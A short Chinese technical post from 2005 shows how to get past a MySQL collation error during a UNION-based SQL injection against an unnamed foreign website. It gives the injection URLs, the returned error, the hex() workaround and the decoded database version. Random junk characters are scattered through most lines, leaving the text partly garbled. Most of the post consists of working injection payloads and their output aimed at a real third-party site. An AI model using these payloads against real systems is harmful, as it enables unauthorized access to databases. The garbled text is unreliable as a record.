本文作者:SuperHei
* K! Q- g, h2 _- e0 N0 p文章性质:原创
, f& B/ E* T4 m- Z6 L% u) s) [发布日期:2005-10-18/ G# H$ I( U- _
测试个国外的站时:5 f3 v, }: t8 u. v1 \; b3 e9 C
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*# D+ L2 `3 ]! n4 b' e0 E: w
返回错误:7 G; z; N* M9 G# ~: h# [; e N. X6 b
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'7 u" ]! r4 @5 X9 f
MySQL Error No. 126, `. C+ a# _( b
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
& B0 }) j: L+ ~ m% f8 U解决办法:转为其他编码如hex。
0 m& O" b& f1 ]url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*1 ~ x8 G T. n. ]5 M
成功得到hex(version())的值为:! ]/ l( u- U8 K6 Q+ P5 f
342E312E332D62657461. B1 x8 [ Y6 {
回Mysql查询下得到:' G0 p. c. x1 L
mysql> select 0x342E312E332D62657461;
6 X2 |; s; N2 a& l/ ]/ w: F+------------------------+! n3 A |* W6 |: q5 P
| 0x342E312E332D62657461 |
' m6 P% N7 r k+ n0 I+------------------------+
2 s% Z6 J# x8 g4 d/ A/ U' X W/ k| 4.1.3-beta |
W2 f: ?. ? F1 F" V, {4 v+------------------------+
2 ^" a5 Q5 H5 p7 \1 row in set (0.00 sec)
( U5 r9 N3 y) C/ u7 p3 D5 L
7 G! V, Z, _5 b* X/ k |